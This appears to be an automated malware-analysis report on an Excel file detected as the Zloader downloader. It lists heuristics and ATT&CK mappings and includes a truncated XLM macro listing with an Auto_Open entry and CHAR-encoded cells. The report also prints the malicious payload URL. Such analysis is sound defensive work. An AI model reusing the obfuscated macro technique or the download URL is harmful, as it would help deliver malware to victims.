MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is an Excel document containing Excel 4.0 macros, specifically an Auto_Open macro that executes dangerous functions. The macros reconstruct and execute a URL, indicating a downloader functionality. ClamAV detection confirms this as Zloader, a known downloader family.
Heuristics 6
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ClamAV: Xls.Downloader.Zloader-f8537378cabc848c-9950315-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.Zloader-f8537378cabc848c-9950315-0
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URLExcel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://grpxmqnrb.pw/egrg4g3g Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 45231 bytes |
SHA-256: 6054ad272dc415502a94f543a35a181b49a407dfe65493c64a3dbfa1d090f9e9 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - CtOaylriU ' 0018 29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d' ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!S1 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' CtOaylriU,A1,"",61.00000000000000000000 ' CtOaylriU,B1,CHAR(A1),"" ' CtOaylriU,C1,"",61.00000000000000000000 ' CtOaylriU,D1,CHAR(C1),"" ' CtOaylriU,E1,"",61.00000000000000000000 ' CtOaylriU,F1,CHAR(E1),"" ' CtOaylriU,G1,"",61.00000000000000000000 ' CtOaylriU,H1,CHAR(G1),"" ' CtOaylriU,I1,"",61.00000000000000000000 ' CtOaylriU,J1,CHAR(I1),"" ' CtOaylriU,K1,"",61.00000000000000000000 ' CtOaylriU,L1,CHAR(K1),"" ' CtOaylriU,M1,"",61.00000000000000000000 ' CtOaylriU,N1,CHAR(M1),"" ' CtOaylriU,O1,"",61.00000000000000000000 ' CtOaylriU,P1,CHAR(O1),"" ' CtOaylriU,Q1,"",61.00000000000000000000 ' CtOaylriU,R1,CHAR(Q1),"" ' CtOaylriU,S1,"FORMULA(B1&B2&B3&B4&B5&B6&B7&B8&B9&B10&B11&B12&B13&B14&B15&B16&B17&B18&B19&B20&B21&B22&B23&B24&B25&B26&B27&B28&B29&B30&B31&B32&B33&B34&B35&B36&B37&B38&B39&B40&B41,T1)","" ' CtOaylriU,A2,"",73.00000000000000000000 ' CtOaylriU,B2,[],"" ' CtOaylriU,C2,"",73.00000000000000000000 ' CtOaylriU,D2,CHAR(C2),"" ' CtOaylriU,E2,"",73.00000000000000000000 ' CtOaylriU,F2,CHAR(E2),"" ' CtOaylriU,G2,"",73.00000000000000000000 ' CtOaylriU,H2,CHAR(G2),"" ' CtOaylriU,I2,"",73.00000000000000000000 ' CtOaylriU,J2,CHAR(I2),"" ' CtOaylriU,K2,"",67.00000000000000000000 ' CtOaylriU,L2,CHAR(K2),"" ' CtOaylriU,M2,"",65.00000000000000000000 ' CtOaylriU,N2,CHAR(M2),"" ' CtOaylriU,O2,"",67.00000000000000000000 ' CtOaylriU,P2,CHAR(O2),"" ' CtOaylriU,Q2,"",67.00000000000000000000 ' CtOaylriU,R2,CHAR(Q2),"" ' CtOaylriU,S2,"FORMULA(D1&D2&D3&D4&D5&D6&D7&D8&D9&D10&D11&D12&D13&D14&D15&D16&D17&D18&D19&D20&D21&D22&D23&D24&D25&D26&D27&D28&D29&D30&D31&D32&D33&D34&D35&D36&D37&D38&D39&D40&D41,T2)","" ' CtOaylriU,A3,"",70.00000000000000000000 ' CtOaylriU,B3,[],"" ' CtOaylriU,C3,"",70.00000000000000000000 ' CtOaylriU,D3,CHAR(C3),"" ' CtOaylriU,E3,"",70.00000000000000000000 ' CtOaylriU,F3,CHAR(E3),"" ' CtOaylriU,G3,"",70.00000000000000000000 ' CtOaylriU,H3,CHAR(G3),"" ' CtOaylriU,I3,"",70.00000000000000000000 ' CtOaylriU,J3,CHAR(I3),"" ' CtOaylriU,K3,"",65.00000000000000000000 ' CtOaylriU,L3,CHAR(K3),"" ' CtOaylriU,M3,"",76.00000000000000000000 ' CtOaylriU,N3,CHAR(M3),"" ' CtOaylriU,O3,"",65.00000000000000000000 ' CtOaylriU,P3,CHAR(O3),"" ' CtOaylriU,Q3,"",76.00000000000000000000 ' CtOaylriU,R3,CHAR(Q3),"" ' CtOaylriU,S3,"FORMULA(F1&F2&F3&F4&F5&F6&F7&F8&F9&F10&F11&F12&F13&F14&F15&F16&F17&F18&F19&F20&F21&F22&F23&F24&F25&F26&F27&F28&F29&F30&F31&F32&F33&F34&F35,T3)","" ' CtOaylriU,A4,"",40.00000000000000000000 ' CtOaylriU,B4,[],"" ' CtOaylriU,C4,"",40.00000000000000000000 ' CtOaylriU,D4,CHAR(C4),"" ' CtOaylriU,E4,"",40.00000000000000000000 ' CtOaylriU,F4,CHAR(E4),"" ' CtOaylriU,G4,"",40.00000000000000000000 ' CtOaylriU,H4,CHAR(G4),"" ' CtOaylriU,I4,"",40.00000000000000000000 ' CtOaylriU,J4,CHAR(I4),"" ' CtOaylriU,K4,"",76.00000000000000000000 ' CtOaylriU,L4,CHAR(K4),"" ' CtOaylriU,M4,"",69.00000000000000000000 ' CtOaylriU,N4,CHAR(M4),"" ' CtOaylriU,O4,"",76.00000000000000000000 ' CtOaylriU ... (truncated) |
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